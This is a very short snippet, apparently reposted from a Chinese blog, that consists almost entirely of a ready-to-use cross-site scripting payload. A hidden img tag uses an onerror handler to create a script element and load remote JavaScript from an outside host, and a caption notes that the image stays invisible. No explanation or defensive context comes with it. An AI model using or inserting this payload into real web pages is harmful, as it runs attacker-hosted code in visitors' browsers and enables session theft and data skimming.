<img style='display:none' src=x onerror=s=createElement('script');body.appendChild(s);s.src='//xss.com';>
XSS document Img标签不显图
原文:https://www.cnblogs.com/lolime/p/12014157.html